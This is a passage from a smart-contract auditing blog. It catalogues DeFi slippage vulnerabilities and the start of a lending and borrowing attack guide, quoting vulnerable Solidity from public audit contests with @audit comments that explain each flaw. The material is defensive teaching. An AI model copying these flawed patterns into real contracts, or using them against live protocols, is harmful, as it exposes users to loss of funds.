<p>Some platforms allow a user to redeem or withdraw from a set of output tokens with a wide range of different precision values. These platforms must ensure that the slippage parameter "minTokensOut" is <a target="_blank" href="https://github.com/sherlock-audit/2022-10-rage-trade-judging/issues/55">scaled to match the precision of the selected output token</a>, else the slippage parameter may be ineffective and lead to <a target="_blank" href="https://dacian.me/precision-loss-errors">precision loss errors</a>. Consider this <a target="_blank" href="https://github.com/sherlock-audit/2022-10-rage-trade/blob/main/dn-gmx-vaults/contracts/periphery/WithdrawPeriphery.sol#L147-L161">code</a> from Sherlock's RageTrade contest:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_convertToToken</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token, <span class="hljs-keyword">address</span> receiver</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> amountOut</span>) </span>{
    <span class="hljs-comment">// this value should be whatever glp is received by calling withdraw/redeem to junior vault</span>
    <span class="hljs-keyword">uint256</span> outputGlp <span class="hljs-operator">=</span> fsGlp.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));

    <span class="hljs-comment">// using min price of glp because giving in glp</span>
    <span class="hljs-keyword">uint256</span> glpPrice <span class="hljs-operator">=</span> _getGlpPrice(<span class="hljs-literal">false</span>);

    <span class="hljs-comment">// using max price of token because taking token out of gmx</span>
    <span class="hljs-keyword">uint256</span> tokenPrice <span class="hljs-operator">=</span> gmxVault.getMaxPrice(token);

    <span class="hljs-comment">// @audit always returns 6 decimals, won't work for many tokens</span>
    <span class="hljs-comment">// apply slippage threshold on top of estimated output amount</span>
    <span class="hljs-keyword">uint256</span> minTokenOut <span class="hljs-operator">=</span> outputGlp.mulDiv(glpPrice <span class="hljs-operator">*</span> (MAX_BPS <span class="hljs-operator">-</span> slippageThreshold), tokenPrice <span class="hljs-operator">*</span> MAX_BPS);
    <span class="hljs-comment">// @audit need to adjust slippage precision to match output</span>
    <span class="hljs-comment">// token decimals like so:</span>
    <span class="hljs-comment">// minTokenOut = minTokenOut * 10 ** (token.decimals() - 6);</span>

    <span class="hljs-comment">// will revert if atleast minTokenOut is not received</span>
    amountOut <span class="hljs-operator">=</span> rewardRouter.unstakeAndRedeemGlp(<span class="hljs-keyword">address</span>(token), outputGlp, minTokenOut, receiver);
}
</code></pre>
<p>"minTokenOut" always returns 6 decimals but the user can specify an output token from a set with a wide range of different precisions, hence the slippage must be scaled to match the output token's precision. More examples: [<a target="_blank" href="https://solodit.xyz/issues/7237">1</a>]</p>
<h3 id="heading-minting-exposes-users-to-unlimited-slippage">Minting Exposes Users To Unlimited Slippage</h3>
<p>Many DeFi protocols allow users to transfer foreign tokens to mint the protocol's native token - this is functionally the same as a swap where users are swapping foreign tokens for the protocol's native token. Since this is packaged and presented as a "mint", a slippage parameter may be omitted <a target="_blank" href="https://code4rena.com/reports/2021-11-vader#h-01-minting-and-burning-synths-exposes-users-to-unlimited-slippage">exposing the user to unlimited slippage</a>! Consider this <a target="_blank" href="https://github.com/code-423n4/2021-11-vader/blob/607d2b9e253d59c782e921bfc2951184d3f65825/contracts/dex-v2/pool/VaderPoolV2.sol#L126-L167">code</a> from Code4rena's Vader audit:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mintSynth</span>(<span class="hljs-params">IERC20 foreignAsset, <span class="hljs-keyword">uint256</span> nativeDeposit,
                   <span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to</span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> amountSynth</span>) </span>{
    <span class="hljs-comment">// @audit transfers in foreign token</span>
    nativeAsset.safeTransferFrom(<span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), nativeDeposit);

    ISynth synth <span class="hljs-operator">=</span> synthFactory.synths(foreignAsset);

    <span class="hljs-keyword">if</span> (synth <span class="hljs-operator">=</span><span class="hljs-operator">=</span> ISynth(_ZERO_ADDRESS))
        synth <span class="hljs-operator">=</span> synthFactory.createSynth(
            IERC20Extended(<span class="hljs-keyword">address</span>(foreignAsset))
        );

    <span class="hljs-comment">// @audit frontrunner could manipulate these reserves to influence</span>
    <span class="hljs-comment">// amount of minted tokens</span>
    (<span class="hljs-keyword">uint112</span> reserveNative, <span class="hljs-keyword">uint112</span> reserveForeign, ) <span class="hljs-operator">=</span> getReserves(
        foreignAsset
    ); <span class="hljs-comment">// gas savings</span>

    <span class="hljs-comment">// @audit mints protocol's tokens based upon above reserves</span>
    <span class="hljs-comment">// this is effectively a swap without allowing the user to</span>
    <span class="hljs-comment">// specify a slippage parameter, exposing user to unlimited slippage</span>
    amountSynth <span class="hljs-operator">=</span> VaderMath.calculateSwap(
        nativeDeposit,
        reserveNative,
        reserveForeign
    );

    _update(
        foreignAsset,
        reserveNative <span class="hljs-operator">+</span> nativeDeposit,
        reserveForeign,
        reserveNative,
        reserveForeign
    );

    synth.mint(to, amountSynth);
}
</code></pre>
<p>When implementing minting functions based upon pool reserves or other on-chain data that can be manipulated in real-time, developers should provide &amp; auditors should verify that users can specify slippage parameters, as such mints are effectively swaps by another name! More examples: [<a target="_blank" href="https://code4rena.com/reports/2021-11-vader#h-22-mintsynth-and-burnsynth-can-be-front-run">1</a>, <a target="_blank" href="https://code4rena.com/reports/2023-03-mute/#h-02-attacker-can-front-run-bond-buyer-and-make-them-buy-it-for-a-lower-payout-than-expected">3</a>]</p>
<h3 id="heading-mintokensout-for-intermediate-not-final-amount">MinTokensOut For Intermediate, Not Final Amount</h3>
<p>Due to the composable nature of DeFi, a swap can execute multiple operations before returning the final amount of tokens to the user. If the <a target="_blank" href="https://github.com/sherlock-audit/2023-03-olympus-judging/issues/3">"minTokensOut" parameter is used for an intermediate operation</a> but not to check the final amount, this can result in a loss of funds vulnerability for the user since they may receive fewer tokens than specified. Consider this simplified <a target="_blank" href="https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L203-L256">code</a> from Sherlock's Olympus Update contest:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params">
    <span class="hljs-keyword">uint256</span>            lpAmount_,
    <span class="hljs-keyword">uint256</span>[] <span class="hljs-keyword">calldata</span> minTokenAmounts_, <span class="hljs-comment">// @audit slippage param</span>
    <span class="hljs-keyword">bool</span>               claim_
</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">onlyWhileActive</span> <span class="hljs-title">onlyOwner</span> <span class="hljs-title">nonReentrant</span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span>, <span class="hljs-keyword">uint256</span></span>) </span>{
    <span class="hljs-comment">// ...</span>

    <span class="hljs-comment">// @audit minTokenAmounts_ enforced here, but this is only</span>
    <span class="hljs-comment">// an intermediate operation not the final amount received by the user</span>
    <span class="hljs-comment">// Exit Balancer pool</span>
    _exitBalancerPool(lpAmount_, minTokenAmounts_);

    <span class="hljs-comment">// Calculate OHM and wstETH amounts received</span>
    <span class="hljs-keyword">uint256</span> ohmAmountOut <span class="hljs-operator">=</span> ohm.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-operator">-</span> ohmBefore;
    <span class="hljs-keyword">uint256</span> wstethAmountOut <span class="hljs-operator">=</span> wsteth.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-operator">-</span> wstethBefore;

    <span class="hljs-comment">// Calculate oracle expected wstETH received amount</span>
    <span class="hljs-comment">// getTknOhmPrice returns the amount of wstETH per 1 OHM based on the oracle price</span>
    <span class="hljs-keyword">uint256</span> wstethOhmPrice <span class="hljs-operator">=</span> manager.getTknOhmPrice();
    <span class="hljs-keyword">uint256</span> expectedWstethAmountOut <span class="hljs-operator">=</span> (ohmAmountOut <span class="hljs-operator">*</span> wstethOhmPrice) <span class="hljs-operator">/</span> _OHM_DECIMALS;

    <span class="hljs-comment">// @audit this is the final operation but minTokenAmounts_ is no longer</span>
    <span class="hljs-comment">// enforced, so the amount returned to the user may be less than the</span>
    <span class="hljs-comment">// minTokenAmounts_ specified, resulting in a loss of funds for the user</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// Take any arbs relative to the oracle price for the Treasury and return the rest to the owner</span>
    <span class="hljs-keyword">uint256</span> wstethToReturn <span class="hljs-operator">=</span> wstethAmountOut <span class="hljs-operator">&gt;</span> expectedWstethAmountOut
        ? expectedWstethAmountOut
        : wstethAmountOut;
    <span class="hljs-keyword">if</span> (wstethAmountOut <span class="hljs-operator">&gt;</span> wstethToReturn)
        wsteth.safeTransfer(TRSRY(), wstethAmountOut <span class="hljs-operator">-</span> wstethToReturn);

    <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>Here the user-specified slippage parameter "minTokenAmounts_" is only enforced for the intermediate operation _exitBalancerPool(), after which the output amount of tokens can be further reduced by the treasury skimming the difference between the balancer &amp; oracle expected return amount. Developers &amp; auditors should test &amp; verify that the user-specified "minTokensOut" is always enforced at the final step of a swap before returning the tokens to the user. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2022-10-illuminate-judging/issues/30">1</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/126">2</a>]</p>
<h3 id="heading-on-chain-slippage-calculation-can-be-manipulated">On-Chain Slippage Calculation Can Be Manipulated</h3>
<p>Examine this <a target="_blank" href="https://github.com/sherlock-audit/2023-01-derby/blob/main/derby-yield-optimiser/contracts/libraries/Swap.sol#L60-L97">code</a> from Sherlock's Derby contest:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swapTokensMulti</span>(<span class="hljs-params">
    SwapInOut <span class="hljs-keyword">memory</span>                 _swap,
    IController.UniswapParams <span class="hljs-keyword">memory</span> _uniswap,
    <span class="hljs-keyword">bool</span>                             _rewardSwap
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
    IERC20(_swap.tokenIn).safeIncreaseAllowance(_uniswap.router, _swap.amount);

    <span class="hljs-comment">// @audit on-chain slippage calculation can be manipulated,</span>
    <span class="hljs-comment">// Quoter.quoteExactInput() itself does a swap!</span>
    <span class="hljs-comment">// https://github.com/Uniswap/v3-periphery/blob/main/contracts/lens/QuoterV2.sol#L138-L146</span>
    <span class="hljs-comment">// amountOutMinimum must be specified by user, calculated off-chain</span>
    <span class="hljs-keyword">uint256</span> amountOutMinimum <span class="hljs-operator">=</span> IQuoter(_uniswap.quoter).quoteExactInput(
      <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(_swap.tokenIn, _uniswap.poolFee, WETH, _uniswap.poolFee, _swap.tokenOut),
      _swap.amount
    );

    <span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> IERC20(_swap.tokenOut).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    <span class="hljs-keyword">if</span> (_rewardSwap <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> balanceBefore <span class="hljs-operator">&gt;</span> amountOutMinimum) <span class="hljs-keyword">return</span> amountOutMinimum;

    ISwapRouter.ExactInputParams <span class="hljs-keyword">memory</span> params <span class="hljs-operator">=</span> ISwapRouter.ExactInputParams({
      path: <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(
        _swap.tokenIn,
        _uniswap.poolFee,
        WETH,
        _uniswap.poolFee,
        _swap.tokenOut
      ),
      recipient: <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
      deadline: <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>,
      amountIn: _swap.amount,
      amountOutMinimum: amountOutMinimum
    });

    ISwapRouter(_uniswap.router).exactInput(params);
    <span class="hljs-keyword">uint256</span> balanceAfter <span class="hljs-operator">=</span> IERC20(_swap.tokenOut).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));

    <span class="hljs-keyword">return</span> balanceAfter <span class="hljs-operator">-</span> balanceBefore;
}
</code></pre>
<p>This code attempts to perform <a target="_blank" href="https://github.com/sherlock-audit/2023-01-derby-judging/issues/310">on-chain slippage calculation</a> by using Quoter.quoteExactInput() which <a target="_blank" href="https://github.com/Uniswap/v3-periphery/blob/main/contracts/lens/QuoterV2.sol#L138-L146">itself performs a swap</a> and hence is subject to manipulation via <a target="_blank" href="https://medium.com/coinmonks/defi-sandwich-attack-explain-776f6f43b2fd">sandwich attacks</a>. Developers should ensure &amp; auditors must verify that users are allowed to specify their own slippage parameters which were calculated off-chain. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2023-02-notional-judging/issues/10">1</a>, <a target="_blank" href="https://code4rena.com/reports/2022-06-illuminate/#m-13-leak-of-value-in-yield-function-slippage-check-is-not-effective">2</a>, <a target="_blank" href="https://solodit.xyz/issues/h-4-no-slippage-protection-during-repayment-due-to-dynamic-slippage-params-and-easily-influenced-slot0-sherlock-real-wagmi-2-git">3</a>]</p>
<h3 id="heading-hard-coded-slippage-may-freeze-user-funds">Hard-coded Slippage May Freeze User Funds</h3>
<p>The idea of setting slippage is to protect the user from getting less tokens than they wanted due to high volatility and stop them from being exploited by MEV bots. So why don't projects just hard-code low slippage to protect users? Because <a target="_blank" href="https://code4rena.com/reports/2022-05-sturdy#h-01-hard-coded-slippage-may-freeze-user-funds-during-market-turbulence">hard-coded slippage can freeze user funds</a> during periods of high volatility. Examine this <a target="_blank" href="https://github.com/code-423n4/2022-05-sturdy/blob/main/smart-contracts/GeneralVault.sol#L125">code</a> from Code4rena's Sturdy contest:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdrawCollateral</span>(<span class="hljs-params">
    <span class="hljs-keyword">address</span> _asset,
    <span class="hljs-keyword">uint256</span> _amount,
    <span class="hljs-keyword">address</span> _to
</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> </span>{
    <span class="hljs-comment">// Before withdraw from lending pool, get the stAsset address and withdrawal amount</span>
    <span class="hljs-comment">// Ex: In Lido vault, it will return stETH address and same amount</span>
    (<span class="hljs-keyword">address</span> _stAsset, <span class="hljs-keyword">uint256</span> _stAssetAmount) <span class="hljs-operator">=</span> _getWithdrawalAmount(_asset, _amount);

    <span class="hljs-comment">// withdraw from lendingPool, it will convert user's aToken to stAsset</span>
    <span class="hljs-keyword">uint256</span> _amountToWithdraw <span class="hljs-operator">=</span> ILendingPool(_addressesProvider.getLendingPool()).withdrawFrom(
        _stAsset,
        _stAssetAmount,
        <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
        <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)
    );

    <span class="hljs-comment">// Withdraw from vault, it will convert stAsset to asset and send to user</span>
    <span class="hljs-comment">// Ex: In Lido vault, it will return ETH or stETH to user</span>
    <span class="hljs-keyword">uint256</span> withdrawAmount <span class="hljs-operator">=</span> _withdrawFromYieldPool(_asset, _amountToWithdraw, _to);

    <span class="hljs-keyword">if</span> (_amount <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>) {
        <span class="hljs-keyword">uint256</span> decimal <span class="hljs-operator">=</span> IERC20Detailed(_asset).decimals();
        _amount <span class="hljs-operator">=</span> _amountToWithdraw.mul(<span class="hljs-built_in">this</span>.pricePerShare()).div(<span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span>decimal);
    }
    <span class="hljs-comment">// @audit hard-coded slippage can cause all withdrawals to revert during</span>
    <span class="hljs-comment">// times of high volatility, freezing user funds. Users should have the option to</span>
    <span class="hljs-comment">// withdraw during high volatility by setting their own slippage.</span>
    <span class="hljs-built_in">require</span>(withdrawAmount <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> _amount.percentMul(<span class="hljs-number">99_00</span>), Errors.VT_WITHDRAW_AMOUNT_MISMATCH);

    <span class="hljs-keyword">emit</span> WithdrawCollateral(_asset, _to, _amount);
}
</code></pre>
<p>This code sets a very small slippage on withdrawals. While this may protect users from losing funds due to slippage, during times of high volatility when slippage is unavoidable it will also cause all withdrawals to revert, freezing user funds. If a project uses a default slippage, users should always be able to override it with their own slippage to ensure they can transact even during times of high volatility. More examples: [<a target="_blank" href="https://x.com/0xULTI/status/1875220541625528539">1</a>, <a target="_blank" href="https://code4rena.com/reports/2022-05-alchemix#m-13-transmuterbuffers-_alchemistwithdraw-use-hard-coded-slippage-that-can-lead-to-user-losses">2</a>, <a target="_blank" href="https://code4rena.com/reports/2022-04-backd/#m-11-position-owner-should-set-allowed-slippage">3</a>, <a target="_blank" href="https://github.com/abarbatei/audits/blob/main/reports/solo-audits/Inferno.fun_x_ABA-Inferno.fun_Launchpad_Audit_Report_v1.1.pdf">4</a>]</p>
<h3 id="heading-hard-coded-fee-tier-in-uniswapv3-swap">Hard-coded Fee Tier in UniswapV3 Swap</h3>
<p>In UniswapV3 liquidity can be spread across multiple <a target="_blank" href="https://support.uniswap.org/hc/en-us/articles/20904283758349-What-are-fee-tiers">fee tiers</a>. If a function which initiates a uni v3 swap <a target="_blank" href="https://www.codehawks.com/report/clql6lvyu0001mnje1xpqcuvl#M-03">hard-codes the fee tier parameter</a>, this can have several negative effects:</p>
<ul>
<li><p>the hard-coded fee tier may not exist for that token pair causing the swap to fail, even though liquidity does exist at a different fee tier</p>
</li>
<li><p>the hard-coded fee tier may provide inferior liquidity to another fee tier resulting in greater slippage for the user</p>
</li>
</ul>
<p>Functions allowing users to perform uni v3 swaps should allow users to pass in the fee tier parameter.</p>
<h3 id="heading-zero-slippage-required">Zero Slippage Required</h3>
<p>A function that <a target="_blank" href="https://code4rena.com/reports/2022-01-trader-joe#m-09-createpair-expects-zero-slippage">requires zero slippage is likely to revert</a> presenting a persistent Denial Of Service to users. Expecting zero slippage is unrealistic which is why developers must allow users to specify slippage parameters.</p>
]]></content:encoded></item><item><title><![CDATA[Lending/Borrowing DeFi Attacks]]></title><description><![CDATA[In Web3 DeFi, smart contracts have been used to implement a wide range of lending & borrowing platforms, where market participants can:

lend tokens to receive interest

borrow tokens to conduct other activities while paying interest


Borrowers have...]]></description><link>https://dacian.me/lending-borrowing-defi-attacks</link><guid isPermaLink="true">https://dacian.me/lending-borrowing-defi-attacks</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Blockchain]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Tue, 25 Apr 2023 10:30:57 GMT</pubDate><content:encoded><![CDATA[<p>In Web3 DeFi, smart contracts have been used to implement a wide range of lending &amp; borrowing platforms, where market participants can:</p>
<ul>
<li><p>lend tokens to receive interest</p>
</li>
<li><p>borrow tokens to conduct other activities while paying interest</p>
</li>
</ul>
<p>Borrowers have to provide collateral that is stored in a smart contract within the DeFi system, which can be liquidated either by the Lender or by other market participants if the Borrower does not meet repayment schedule deadlines or if the value of their collateral drops below a required threshold. This deep dive aims to categorize the types of vulnerabilities that <a target="_blank" href="https://www.cyfrin.io/">smart contract auditors</a> &amp; developers should be aware of in lending &amp; borrowing platforms.</p>
<h3 id="heading-liquidation-before-default">Liquidation Before Default</h3>
<p>Liquidation allows a Borrower's collateral to be seized and either given to the Lender as compensation or paid to a liquidator (or shared in some manner between them). Liquidation should only be possible if:</p>
<ul>
<li><p>the Borrower has failed to meet their repayment schedule obligations, by being late on a scheduled repayment,</p>
</li>
<li><p>the value of the Borrower's collateral has fallen below a set threshold</p>
</li>
</ul>
<p>If the Lender, Liquidator or another market participant can liquidate a Borrower's collateral <em>before</em> the Borrower is in default, this results in a critical loss of funds vulnerability for the Borrower. Consider a simplified version of my <a target="_blank" href="https://github.com/sherlock-audit/2023-03-teller-judging/issues/92">finding</a> from Sherlock's TellerV2 audit contest:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">lastRepaidTimestamp</span>(<span class="hljs-params">Loan <span class="hljs-keyword">storage</span> loan</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint32</span></span>) </span>{
    <span class="hljs-keyword">return</span>
        <span class="hljs-comment">// @audit if no repayments have yet been made, lastRepaidTimestamp()</span>
        <span class="hljs-comment">// will return acceptedTimestamp - time when loan was accepted</span>
        loan.lastRepaidTimestamp <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>
            ? loan.acceptedTimestamp
            : loan.lastRepaidTimestamp;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">canLiquidateLoan</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> loanId</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    Loan <span class="hljs-keyword">storage</span> loan <span class="hljs-operator">=</span> loans[loanId];

    <span class="hljs-comment">// Make sure loan cannot be liquidated if it is not active</span>
    <span class="hljs-keyword">if</span> (loan.state <span class="hljs-operator">!</span><span class="hljs-operator">=</span> LoanState.ACCEPTED) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;

    <span class="hljs-keyword">return</span> (<span class="hljs-keyword">uint32</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>) <span class="hljs-operator">-</span> lastRepaidTimestamp(loan) <span class="hljs-operator">&gt;</span> paymentDefaultDuration);
    <span class="hljs-comment">// @audit if no repayments have been made:</span>
    <span class="hljs-comment">// block.timestamp - acceptedTimestamp &gt; paymentDefaultDuration</span>
    <span class="hljs-comment">// doesn't check paymentCycleDuration (when next payment is due)</span>
    <span class="hljs-comment">// if paymentDefaultDuration &lt; paymentCycleDuration, can be liquidated</span>
    <span class="hljs-comment">// *before* first payment is due. If paymentDefaultDuration is very small,</span>
    <span class="hljs-comment">// can be liquidated very soon after taking loan, way before first payment</span>
    <span class="hljs-comment">// is due!</span>
}
</code></pre>
<p>canLiquidateLoan() doesn't check when the next repayment is due; if the loan is new and the first repayment hasn't been made (as it won't be due for some time "paymentCycleDuration"), the Borrower can be liquidated before their first repayment is due if paymentDefaultDuration &lt; paymentCycleDuration.</p>
<p>If paymentDefaultDuration is small, the Borrower could be liquidated very soon after taking the loan! The liquidation threshold paymentDefaultDuration should always be calculated as an offset from when the next repayment is due; only once the next repayment is late by paymentDefaultDuration should the Borrower be able to be liquidated.</p>
<p>Another example of this vulnerability comes from Hats Finance Tempus Raft audit contest. Here an attacker can <a target="_blank" href="https://github.com/tempusfinance/raft-contracts/issues/323">pass a different or zero value for collateral to liquidate a Borrower</a> who should not be subject to liquidation:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidate</span>(<span class="hljs-params">IERC20 collateralToken, <span class="hljs-keyword">address</span> position</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
    <span class="hljs-comment">// @audit collateralToken is never validated, could be empty object corresponding</span>
    <span class="hljs-comment">// to address(0) or a different address not linked to position's collateral</span>
    (<span class="hljs-keyword">uint256</span> price,) <span class="hljs-operator">=</span> priceFeeds[collateralToken].fetchPrice();
    <span class="hljs-comment">// @audit with empty/non-existent collateral, the value of the collateral will be 0</span>
    <span class="hljs-comment">// with another address, the value will be whatever that value is, not the value</span>
    <span class="hljs-comment">// of the Borrower's actual collateral. This allows Borrower to be Liquidated</span>
    <span class="hljs-comment">// before they are in default, since the value of Borrower's actual collateral is</span>
    <span class="hljs-comment">// never calculated.</span>
    <span class="hljs-keyword">uint256</span> entirePositionCollateral <span class="hljs-operator">=</span> raftCollateralTokens[collateralToken].token.balanceOf(position);
    <span class="hljs-keyword">uint256</span> entirePositionDebt <span class="hljs-operator">=</span> raftDebtToken.balanceOf(position);
    <span class="hljs-keyword">uint256</span> icr <span class="hljs-operator">=</span> MathUtils._computeCR(entirePositionCollateral, entirePositionDebt, price);
</code></pre>
<p>This is also an example of an <a target="_blank" href="https://dacian.me/exploiting-developer-assumptions#heading-unexpected-empty-inputs">Unexpected/Unchecked Input Vulnerability</a>.</p>
<p>More examples: [<a target="_blank" href="https://code4rena.com/reports/2022-12-backed/#h-04-users-may-be-liquidated-right-after-taking-maximal-debt">1</a>, <a target="_blank" href="https://code4rena.com/reports/2022-04-abranft/#h-03-critical-oracle-manipulation-risk-by-lender">2</a>, <a target="_blank" href="https://code4rena.com/reports/2022-04-abranft/#h-04-lender-is-able-to-seize-the-collateral-by-changing-the-loan-parameters">3</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-blueberry-judging/issues/126">4</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-10-union-finance-judging/issues/115">5</a>]</p>
<h3 id="heading-borrower-cant-be-liquidated">Borrower Can't Be Liquidated</h3>
<p>Another serious vulnerability occurs if the Borrower can devise a loan offer that results in their collateral not being able to be liquidated. Examine this simplified example also from Sherlock's TellerV2 audit:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// AddressSet from https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable</span>
<span class="hljs-comment">// a loan must have at least one collateral</span>
<span class="hljs-comment">// &amp; only one amount per token is permitted</span>
<span class="hljs-keyword">struct</span> <span class="hljs-title">CollateralInfo</span> {
    EnumerableSetUpgradeable.AddressSet collateralAddresses;
    <span class="hljs-comment">// token =&gt; amount</span>
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint</span>) collateralInfo;
}

<span class="hljs-comment">// loanId -&gt; validated collateral info</span>
<span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">uint</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> CollateralInfo) <span class="hljs-keyword">internal</span> _loanCollaterals;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">commitCollateral</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> loanId, <span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    CollateralInfo <span class="hljs-keyword">storage</span> collateral <span class="hljs-operator">=</span> _loanCollaterals[loanId];

    <span class="hljs-comment">// @audit doesn't check return value of AddressSet.add()</span>
    <span class="hljs-comment">// returns false if not added because already exists in set</span>
    collateral.collateralAddresses.add(token);

    <span class="hljs-comment">// @audit after loan offer has been created &amp; validated, borrower can call</span>
    <span class="hljs-comment">// commitCollateral(loanId, token, 0) to overwrite collateral record </span>
    <span class="hljs-comment">// with 0 amount for the same token. Any lender who accepts the loan offer</span>
    <span class="hljs-comment">// won't be protected if the borrower defaults since there's no collateral</span>
    <span class="hljs-comment">// to lose</span>
    collateral.collateralInfo[token] <span class="hljs-operator">=</span> amount;
}
</code></pre>
<p>This code contains an <a target="_blank" href="https://dacian.me/exploiting-developer-assumptions#heading-unchecked-return-values">unchecked return value vulnerability</a> as the return value of AddressSet.add() is never checked; this will return false if the token is already in the set. As this isn't checked the code will continue to execute and the existing collateral token's amount can simply be overwritten with a new value, 0! More examples: [<a target="_blank" href="https://code4rena.com/reports/2022-11-debtdao/#h-05-borrower-can-craft-a-borrow-that-cannot-be-liquidated-even-by-arbiter-">1</a>, <a target="_blank" href="https://code4rena.com/reports/2022-04-abranft/#h-01-avoidance-of-liquidation-via-malicious-oracle">2</a>, <a target="_blank" href="https://code4rena.com/reports/2021-09-wildcredit/#h-02-liquidation-can-be-escaped-by-depositing-a-uni-v3-position-with-0-liquidity">3</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-notional-judging/issues/21">4</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-03-taurus-judging/issues/61">5</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-11-isomorph-judging/issues/72">6</a>, <a target="_blank" href="https://code4rena.com/reports/2022-11-paraspace/#h-07-user-can-pass-auction-recovery-health-check-easily-with-flashloan">7</a>, <a target="_blank" href="https://code4rena.com/reports/2022-11-paraspace/#h-04-anyone-can-prevent-themselves-from-being-liquidated-as-long-as-they-hold-one-of-the-supported-nfts">8</a>, <a target="_blank" href="https://github.com/Cyfrin/2023-07-beedle/issues/65">9</a>, <a target="_blank" href="https://github.com/Cyfrin/2023-07-beedle/issues/476">10</a>, <a target="_blank" href="https://solodit.xyz/issues/impossible-to-liquidate-accounts-with-multiple-active-markets-as-liquidationbranchliquidateaccounts-reverts-due-to-corruption-of-ordering-in-tradingaccountactivemarketsids-cyfrin-none-cyfrinzaros-markdown">11</a>]</p>
<h3 id="heading-debt-closed-without-repayment">Debt Closed Without Repayment</h3>
